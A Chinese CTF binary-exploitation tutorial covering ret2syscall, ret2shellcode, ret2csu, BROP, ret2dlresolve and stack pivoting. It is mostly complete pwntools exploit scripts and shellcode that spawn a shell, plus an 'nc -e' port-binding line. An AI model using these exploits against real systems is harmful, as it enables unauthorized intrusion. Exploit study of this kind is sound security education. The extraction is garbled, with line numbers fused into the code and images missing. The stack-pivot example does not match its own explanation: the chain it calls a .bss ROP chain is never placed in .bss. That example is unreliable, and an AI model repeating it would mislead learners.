26#0x080bb196 : pop eax ; ret27#0x0806eb90 : pop edx ; pop ecx ; pop ebx ; ret28#0x080be408 : /bin/sh29#0x08049421 : int 0x8030pop_eax = 0x080bb19631pop_edx_ecx_ebx = 0x0806eb9032bin_sh = 0x080be40833int_80 = 0x0804942134
35#0xb -> execve()36payload = b'a' * 112 + p32(pop_eax) + p32(0xb) + p32(pop_edx_ecx_ebx) + p32(0) + p32(0) + p32(bin_sh) + p32(int_80)37
38#dbg()39
40r.sendline(payload)41
42r.interactive()ret2shellcode
前置基础
控制程序执行shellcode代码,shellcode指的是用于完成某个功能的汇编代码,常见的功能主要是获取目标系统的shell,或者open read write获取并输出flag,通常情况下shellcode需要我们自行编写,即向内存中填充一些可执行的代码
前提条件:shellcode所在的区域具有可执行权限
工具
查看禁用的函数seccomp-tools dump ./pwn
exp中pwntools使用:
-
使用
asm()将汇编代码转换为对应的机器码 -
生成
shell1shellcode = shellcraft.sh() -
生成
orw1shellcode = shellcraft.open('./flag')2shellcode += shellcraft.read(3, 0x123000 + 0x100, 0x30) #'rsp'3shellcode += shellcraft.write(1, 0x123000 + 0x100,0x30) -
自己写
shellcode-
执行
execve('/bin/sh', 0, 0)1shellcode = '''2xor rdx,rdx3push rdx4mov rsi,rsp5mov rax,0x68732f2f6e69622f6push rax7mov rdi,rsp8mov rax,599syscall10''' -
执行
open read write1shellcode = """2push 0x67616c663mov rdi,rsp4xor esi,esi5push 26pop rax7syscall8mov rdi,rax9mov rsi,rsp10mov edx,0x10011xor eax,eax12syscall13mov edi,114mov rsi,rsp15push 116pop rax17syscall18"""
-
在线汇编和反汇编:http://shell-storm.org/online/Online-Assembler-and-Disassembler/
例题ret2shellcode
1gdb+pwndbg查看bss段是否位rwx(这里新版本的ubuntu发现不可执行,在ubuntu18中就可以获得执行权限,不过问题不大,了解思路即可,毕竟一般的题目不会给bss段执行权限)1from pwn import *2
3#context(arch='amd64', os='linux', log_level='debug')4context(arch='i386', os='linux', log_level='debug')5
6file_name = './ret2shellcode'7
8li = lambda x : print('\x1b[01;38;5;214m]' + str(x) + '\x1b[0m')9li = lambda x : print('\x1b[01;38;5;1m]' + str(x) + '\x1b[0m')10
11context.terminal = ['tmux', 'splitw', '-h']12
13debug = 014if debug:15 r = remote('10.1.239.161', 1234)16else:17 r = process(file_name)18
19def dbg():20 gdb.attach(r)21
22shellcode = asm(shellcraft.sh())23bss = 0x0804A08024r.sendline(shellcode.ljust(112, b'A') + p32(bss))25
26#dbg()27
28r.interactive()例题ret2shellcode1
11、ida查看buf的长度位0x10,rbp为0x8,ret为0x8,所以首先接收到程序运行时得到的buf起始地址,然后填充覆盖到rbp,后面ret覆盖为shellcode的返回地址,后面写生成的shellcode22、如果直接在rbp之后编写 shellcode,而不覆盖返回地址,程序会继续使用原来的返回地址,而不是跳转到shellcode,这样shellcode虽然被写入了栈中,但程序不会执行它1from pwn import *2
3context(os="linux", arch="amd64", log_level='info')4io = process('ret2shellcode1')5#io = remote('challenge-6cdb0db93d50f382.sandbox.ctfhub.com', 24126)6
7io.recvuntil(b'[')8buf_address = int(io.recvuntil(b']')[:-1].decode('utf-8'), 16)9log.success('buf_address => %s' % hex(buf_address).upper())10
11shellcode_address = buf_address+0x20 # buf与rbp的距离0x10 + rbp的宽度0x8 + 返回地址的长度0x812log.success('buf_address => %s' % hex(shellcode_address).upper())13
14shellcode = asm(shellcraft.sh())15payload = b'a'*0x10 + b'fuckpwn!' + p64(shellcode_address) + shellcode16#io.recv()17io.sendline(payload)18io.interactive()常见情况
- 没有开启
NX保护,可以泄露栈地址向栈中写入shellcode再将返回地址改到该地址 - 程序使用
mprotect函数给某一段可读可写可执行权限,并且让用户向这一段的变量中输入,再直接将输入的变量作为函数调用
零碎知识点
整数溢出:变量定义为整型但输入后(unsigned int)强制转化为无符号整型,输入-1则变成正无穷
字符溢出:char类型范围是-128~+127,因此输入超过128会变成负数
数组越界:index可控的时候越界写到其他变量
str类函数:例如strcpy、strcat、strcmp、strlen等函数会被\x00截断
scanf:输入+或-不会有实际输入
随机数绕过:利用c和python联合编程,例如:
1from ctypes import *2libc = cdll.LoadLibrary('./2.35/libc.so.6')3
4seed = 05libc.srand(seed)6
7for i in range(21):8 v6 = (libc.rand() ^ 0x24) + 19 r.sendlineafter('input: ', str(v6))0x04 ret2csu
x86 与 x64 的区别:
x86 都是保存在栈上面的, 而 x64 中的前六个参数依次保存在 RDI, RSI, RDX, RCX, R8 和 R9 中,如果还有更多的参数的话才会保存在栈上
详细的例子去看蒸米ROP x64篇
1x64 下面有一些万能的 gadget:objdump -d ./level5 显示特定的汇编(-D 显示全部的)2观察一下 _libc_csu_init 一般来说,只要是调用了 libc.so 就会有这个函数来对 libc.so 进行初始化
这里面有一些对寄存器操作的,需要注意的是 AT&T 与 8086 汇编语法有些区别
这些前面带百分号的极有可能是 AT&T 汇编,它的 mov 源操作数与目的操作数跟 8086 是反着的
1 gadgets22 4005f0: 4c 89 fa mov %r15,%rdx3 4005f3: 4c 89 f6 mov %r14,%rsi4 4005f6: 44 89 ef mov %r13d,%edi5 4005f9: 41 ff 14 dc callq *(%r12,%rbx,8)6 ....7 gadgets18 400606: 48 8b 5c 24 08 mov 0x8(%rsp),%rbx9 40060b: 48 8b 6c 24 10 mov 0x10(%rsp),%rbp10 400610: 4c 8b 64 24 18 mov 0x18(%rsp),%r1211 400615: 4c 8b 6c 24 20 mov 0x20(%rsp),%r1312 40061a: 4c 8b 74 24 28 mov 0x28(%rsp),%r1413 40061f: 4c 8b 7c 24 30 mov 0x30(%rsp),%r1514 400624: 48 83 c4 38 add $0x38,%rsp15 400628: c3 retq通过构造栈上的数据,用 1 然后返回到 2 就可以控制寄存器

首先通过溢出把一堆数据写在栈上,此时返回地址覆盖为 gadgets1,调用 gaegets1 的时候 rsp+8 通过 gadgets1 把栈上的数据写在寄存器里面,同时把 rsp 再加一下让程序返回到 gadgets2
gadgets2 会把之前寄存器上存的数据放在需要的寄存器上(参数存放顺序:RDI, RSI, RDX, RCX, R8 和 R9)
把 write 函数需要的参数部署好之后通过 call (r12+rbx*8) 之前把 rbx 设置成了 0,当程序执行完 write 函数以后会自己回到这里(因为是 call,正常调用)所以不用管返回地址,继续执行,此时还会执行 gadgets1 上面那张图那样子,gadgets1 里面有一段 add rsp,38h 所以还要填充 38h 个字节把这一段填充掉,使得程序返回的时候是我们写在栈上的 main_addr
write 函数原型是 write(1,address,len) ,1表示标准输出流 ,address 是 write 函数要输出信息的地址 ,而 len 表示输出长度
例题
1ret2csu2./level5第一个payload

第二个payload

第三个payload

1如果不理解为什么rsp+8变成了rsp+16,可以通过gdb+pwndbg进行调试,能够看到rbx为0,rbp直接就是1,将payload第一次写入的p64(0)跳过了
exp:
1# 但是有一个bug,运行时必须要在第59行进行调试才能够运行成功1from pwn import *2
3context.terminal = ['tmux', 'splitw', '-h']4
5elf = ELF('level5')6# libc = ELF('./2.35/libc.so.6')7libc = ELF('libc6_2.35-0ubuntu3.6_amd64.so')8
9p = process('./level5')10# p = remote('127.0.0.1',1234)11
12got_write = elf.got['write']13print("got_write: " + hex(got_write))14got_read = elf.got['read']15print("got_read: " + hex(got_read))16
17main = 0x40056418
19off_system_addr = libc.symbols['write'] - libc.symbols['system']20print("off_system_addr: " + hex(off_system_addr))21
22# rdi= edi = r13, rsi = r14, rdx = r1523# write(rdi=1, rsi=write.got, rdx=4)24payload1 = b"\x00" * 13625payload1 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_write) + p64(1) + p64(got_write) + p64(8) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret26payload1 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]27payload1 += b"\x00" * 5628payload1 += p64(main)29p.recvuntil("Hello, World\n")30
31# gdb.attach(p)32print("\n#############sending payload1#############\n")33p.send(payload1)34sleep(1)35write_addr = u64(p.recv(8))36print("write_addr: " + hex(write_addr))37
38system_addr = write_addr - off_system_addr39print("system_addr: " + hex(system_addr))40
41bss_addr = 0x60102842
43p.recvuntil("Hello, World\n")44
45# rdi= edi = r13, rsi = r14, rdx = r1546# read(rdi=0, rsi=bss_addr, rdx=16)47
48payload2 = b"\x00" * 13649payload2 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(0) + p64(bss_addr) + p64(16) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret50payload2 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]51payload2 += b"\x00" * 5652payload2 += p64(main)53
54# gdb.attach(p)55print("\n#############sending payload2#############\n")56p.send(payload2)57sleep(1)58
59gdb.attach(p)60p.send(p64(system_addr))61sleep(1)62p.send("/bin/sh\0")63sleep(1)64p.recvuntil("Hello, World\n")65
66# rdi= edi = r13, rsi = r14, rdx = r1567# system(rdi = bss_addr+8 = "/bin/sh")68payload3 = b"\x00" * 13669payload3 += p64(0x400606) + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(bss_addr + 8) + p64(0) + p64(0) # pop_junk_rbx_rbp_r12_r13_r14_r15_ret70payload3 += p64(0x4005F0) # mov rdx, r15; mov rsi, r14; mov edi, r13d; call qword ptr [r12+rbx*8]71payload3 += b"\x00" * 5672payload3 += p64(0)73
74# gdb.attach(p)75print("\n#############sending payload3#############\n")76
77sleep(1)78p.send(payload3)79
80p.interactive()0x05 Brop
1# 绑定在端口上2socat tcp-l:9999,reuseaddr,fork exec:./brop3# 也可以用nc4nc -lvvnp 9999 -e ./brop -k0x06 ret2dlresolve
ELF关于动态链接的一些关键section
.dynamic

包含了一些关于动态链接的关键信息,这个section的用处就是他包含了很多动态链接所需的关键信息,我们现在只关心DT_STRTAB, DT_SYMTAB, DT_JMPREL这三项,这三个东西分别包含了指向.dynstr, .dynsym, .rel.plt这3个section的指针,可以readelf -S main_no_relro_32看一下,会发现这三个section的地址跟在上图所示的地址是一样的。
.dynstr

一个字符串表,index为0的地方永远是0,然后后面是动态链接所需的字符串,0结尾,包括导入函数名,比方说这里很明显有个puts。到时候,相关数据结构引用一个字符串时,用的是相对这个section头的偏移,比方说,在这里,就是字符串相对0804824C的偏移。
.dynsym

这个东西,是一个符号表(结构体数组),里面记录了各种符号的信息,每个结构体对应一个符号。我们这里只关心函数符号,比方说上面的puts。结构体定义如下
1typedef struct2{3 Elf32_Word st_name; //符号名,是相对.dynstr起始的偏移,这种引用字符串的方式在前面说过了4 Elf32_Addr st_value;5 Elf32_Word st_size;6 unsigned char st_info; //对于导入函数符号而言,它是0x127 unsigned char st_other;8 Elf32_Section st_shndx;9}Elf32_Sym; //对于导入函数符号而言,其他字段都是0.rel.plt

这里是重定位表(不过跟windows那个重定位表概念不同),也是一个结构体数组,每个项对应一个导入函数。结构体定义如下:
1typedef struct2{3 Elf32_Addr r_offset; //指向GOT表的指针4 Elf32_Word r_info;5 //一些关于导入符号的信息,我们只关心从第二个字节开始的值((val)>>8),忽略那个076 //1和3是这个导入函数的符号在.dynsym中的下标,7 //如果往回看的话你会发现1和3刚好和.dynsym的puts和__libc_start_main对应8} Elf32_Rel;_dl_runtime_resolve做了什么

0x080497c4是.dynamic的指针,与前面图中一致;而第二个参数,是当前要调用的导入函数在.rel.plt中的偏移(不过64位的话就直接是index下标),比方说这里,puts就是0,__libc_start_main就是3*sizeof(Elf32_Rel)=24。
_dl_runtime_resolve
- 用
link_map访问.dynamic,取出.dynstr,.dynsym,.rel.plt的指针 .rel.plt + 第二个参数求出当前函数的重定位表项Elf32_Rel的指针,记作relrel->r_info >> 8作为.dynsym的下标,求出当前函数的符号表项Elf32_Sym的指针,记作sym.dynstr + sym->st_name得出符号名字符串指针- 在动态链接库查找这个函数的地址,并且把地址赋值给
*rel->r_offset,即GOT表 - 调用这个函数
调试理解
在调用函数 strlen 的这个 call 下个断点:b *0x8048594

run 的时候把程序给断下来,然后 si 跟进这个 call 来看一下,进去之后可以看到首先会去执行下面这一块

对应之前讲的,跳转到自己的 plt 表项,继续单步执行,看一下

对应之前讲的跳转到公共的 plt 表项,又一次进行了跳转,对应之前讲的跳转到 dl_runtime_resolve 函数,这个地方就是dl_runtime_resolve 了

需要注意的是,之前跳转的时候,程序 push 了两个参数,一个是 0x10,一个是 0x80498bc 里面的内容

这两个参数就是 dl_runtime_resolve 这个函数的两个参数,我们看一下 0x80498bc 里面存着什么
这个地址就是 link_map 的地址

通过这个地址就可以找到 .dynamic 的地址,第三个就是 0x080497c4

再根据这一个找到 .dynstr、 .dynsym、 .rel.plt 的地址
- .dynstr 的地址是 .dynamic + 0x44 -> 0x0804824c
- .dynsym 的地址是 .dynamic + 0x4c -> 0x080481ac
- .rel.plt 的地址是 .dynamic + 0x84 -> 0x08048304

.rel.plt 的地址加上参数 reloc_arg,即 0x08048304 + 0x10 -> 0x08048314
找到的就是函数的重定位表项 Elf32_Rel 的指针,记作 rel

通过这个 rel 可以得到以下信息
1r_offset = 0x080498cc //指向GOT表的指针2r_info = 0x00000407将 r_info>>8 ,即 0x00000407>>8 = 4 作为 .dynsym 中的下标,这里的 ”>>” 意思是右移
我们来到 0x080481ac(上面找到的那个 .dynsym 的地址)看一下,在标号为 4 的地方,就是函数名称的偏移:name_offset

.dynstr + name_offset 就是这个函数的符号名字符串 st_name
0x0804824c + 0x20 -> 0x0804826c

最后在动态链接库查找这个函数的地址,并且把地址赋值给 *rel -> r_offset,即 GOT 表就可以了
整理一下:
11、dl_runtime_resolve 需要两个参数,一个是 reloc_arg,就是函数自己的 plt 表项 push 的内容,一个是link_map,这个是公共 plt 表项 push 进栈的,通过它可以找到.dynamic的地址22、而 .dynamic 可以找到 .dynstr、.dynsym、.rel.plt 的这些东西的地址33、.rel.plt 的地址加上 reloc_arg 可以得到函数重定位表项 Elf32_Rel 的指针,这个指针对应的里面放着 r_offset、r_info44、将 r_info>>8 得到的就是 .dynsym 的下标,这个下标的内容就是 name_offset55、.dynstr+name_offset 得到的就是 st_name,而 st_name 存放的就是要调用函数的函数名66、在动态链接库里面找这个函数的地址,赋值给 *rel->r_offset,也就是 GOT 表就完成了一次函数的动态链接
例题no-relro
1from pwn import *2
3# context.log_level="debug"4context.terminal = ["tmux", "splitw", "-h"]5context.arch = "i386"6# p = process("./main_no_relro_32")7p = remote("10.1.239.161", 9999)8rop = ROP("./main_no_relro_32") # 创建一个 ROP 对象9elf = ELF("./main_no_relro_32")10
11p.recvuntil('Welcome to XDCTF2015~!\n')12
13offset = 11214
15rop.raw(offset * 'a') # 填充 112 字节的垃圾数据('a'),覆盖栈上的缓冲区,直到返回地址16rop.read(0, 0x08049804 + 4, 4) # 读取 4 字节数据,写入 0x08049804+4 地址,0x08049804 是 .dynamic 段中 .dynstr 指针的地址,+4 是为了覆盖指针的值17dynstr = elf.get_section_by_name('.dynstr').data() # 获取原始的 .dynstr 段数据18dynstr = dynstr.replace(b"read", b"system") # 将 .dynstr 段中的字符串 "read" 替换为 "system"19rop.read(0, 0x080498E0, len(dynstr)) # 将伪造的 .dynstr 段数据写入 0x080498E0 地址(这是一个可写的内存区域),通常为 .bss 段20rop.read(0, 0x080498E0 + 0x100, len("/bin/sh\x00")) # read /bin/sh\x0021rop.raw(0x08048376) # the second instruction of read@plt 0x08048376 是 read@plt 的第二条指令地址,用于触发 dl_runtime_resolve22rop.raw(0xdeadbeef) # 伪造的返回地址23rop.raw(0x080498E0 + 0x100) # 0x080498E0+0x100 是 /bin/sh 字符串的地址,作为 system 函数的参数24# print(rop.dump())25assert (len(rop.chain()) <= 256) # 检查 ROP 链的长度是否小于等于 256 字节26rop.raw("a" * (256 - len(rop.chain()))) # 填充剩余的 256 - len(rop.chain()) 字节,用于覆盖返回地址27p.send(rop.chain())28p.send(p32(0x080498E0)) # 发送伪造的 .dynstr 指针值(0x080498E0)29p.send(dynstr) # 发送伪造的 .dynstr 段数据30p.send("/bin/sh\x00")31p.interactive()例题partial-relro
如果.dynamic不可写,那么以上方法就没用了,所以有第二种利用方法。要知道前面的_dl_runtime_resolve在第二步时
1.rel.plt + 第二个参数 求出当前函数的重定位表项 Elf32_Rel 的指针,记作 rel这个时候,_dl_runtime_resolve并没有检查.rel.plt + 第二个参数后是否造成越界访问,所以我们能给一个很大的.rel.plt的offset(64位的话就是下标),然后使得加上去之后的地址指向我们所能操纵的一块内存空间,比方说.bss。
然后第三步
1rel->r_info >> 8 作为 .dynsym 的下标,求出当前函数的符号表项 Elf32_Sym 的指针,记作 sym所以在我们所伪造的Elf32_Rel,需要放一个r_info字段,大概长这样就行0xXXXXXX07,其中XXXXXX是相对.dynsym表的下标,注意不是偏移,所以是偏移除以Elf32_Sym的大小,即除以0x10(32位下)。然后这里同样也没有进行越界访问的检查,所以可以用类似的方法,伪造出这个Elf32_Sym。至于为什么是07,因为这是一个导入函数,而导入函数一般都是07,所以写成07就好。
然后第四步
1.dynstr + sym->st_name 得出符号名字符串指针同样类似,没有进行越界访问检查,所以这个字符串也能够伪造。
0x07 栈迁移
栈迁移(Stack Pivot)是一种常见的漏洞利用技术,通常用于将栈指针(esp)迁移到攻击者控制的内存区域(如 .bss 段),从而绕过栈溢出保护机制(如栈不可执行)。以下是栈迁移到 .bss 段并控制 write 函数输出字符串的详细步骤:
栈迁移的基本原理
栈迁移的核心是利用 leave; ret 指令:
-
leave指令相当于:1mov esp, ebp2pop ebp它的作用是将
esp设置为ebp的值,然后从栈中弹出新的ebp值。 -
ret指令相当于:1pop eip它的作用是从栈中弹出返回地址并跳转到该地址。
通过控制 ebp 和 esp,可以将栈迁移到攻击者指定的内存区域(如 .bss 段)。
栈迁移到 .bss 段的步骤
准备 .bss 段
.bss段是一个未初始化的全局变量区域,通常具有可写权限。- 在
.bss段中分配一块内存,用于存放伪造的栈帧。
控制 ebp 和 esp
- 通过栈溢出漏洞,覆盖返回地址为
leave; ret的地址。 - 同时,覆盖
ebp的值为.bss段的地址。
执行 leave; ret
- 当程序执行
leave时,esp会被设置为ebp的值(即.bss段的地址)。 - 接着执行
ret,程序会从.bss段中弹出返回地址并跳转到该地址。
控制 write 函数输出字符串
构造 ROP 链
在 .bss 段中构造一个 ROP 链,调用 write 函数输出字符串。ROP 链的构造如下:
write函数的地址:调用write函数。- 返回地址:可以是任意地址(如
exit函数的地址)。 - 参数:
fd:文件描述符(1表示标准输出)。buf:字符串的地址。count:字符串的长度。
示例 ROP 链
假设:
write函数的地址为0x08048320。- 字符串的地址为
0x0804a000(.bss段的某个地址)。 - 字符串的长度为
10。
ROP 链的布局如下:
10x08048320 # write 函数的地址20x08048456 # 返回地址(可以是 exit 函数的地址)30x00000001 # 文件描述符(stdout)40x0804a000 # 字符串的地址50x0000000a # 字符串的长度完整利用步骤
栈迁移
- 通过栈溢出漏洞,覆盖返回地址为
leave; ret的地址。 - 覆盖
ebp的值为.bss段的地址(如0x0804a000)。
构造 ROP 链
在 .bss 段中构造 ROP 链,调用 write 函数输出字符串。
发送 payload
- 发送栈迁移的 payload。
- 发送 ROP 链和字符串。
示例代码
以下是一个完整的利用代码示例:
1from pwn import *2
3# 设置目标程序和架构4context.arch = "i386"5context.log_level = "debug"6
7# 启动程序8p = process("./vulnerable_binary")9
10# 获取关键地址11leave_ret = 0x08048456 # leave; ret 的地址12write_plt = 0x08048320 # write 函数的地址13bss_addr = 0x0804a000 # .bss 段的地址14
15# 构造栈迁移的 payload16payload = b"A" * 112 # 填充垃圾数据17payload += p32(bss_addr) # 覆盖 ebp 为 .bss 段的地址18payload += p32(leave_ret) # 覆盖返回地址为 leave; ret19
20# 构造 ROP 链21rop_chain = p32(write_plt) # write 函数的地址22rop_chain += p32(0x08048456) # 返回地址(exit 函数的地址)23rop_chain += p32(1) # 文件描述符(stdout)24rop_chain += p32(bss_addr + 0x20) # 字符串的地址25rop_chain += p32(10) # 字符串的长度26
27# 构造完整的 payload28payload += rop_chain29payload += b"/bin/sh\x00" # 字符串内容30
31# 发送 payload32p.send(payload)33
34# 进入交互模式35p.interactive()- 栈迁移:通过
leave; ret将栈迁移到.bss段。 - ROP 链:在
.bss段中构造 ROP 链,调用write函数输出字符串。 - 利用步骤:
- 覆盖返回地址为
leave; ret。 - 覆盖
ebp为.bss段的地址。 - 在
.bss段中构造 ROP 链和字符串。 - 发送 payload 并触发漏洞。
- 覆盖返回地址为
通过栈迁移技术,可以绕过栈溢出保护机制,实现更灵活的漏洞利用。
部分信息可能已经过时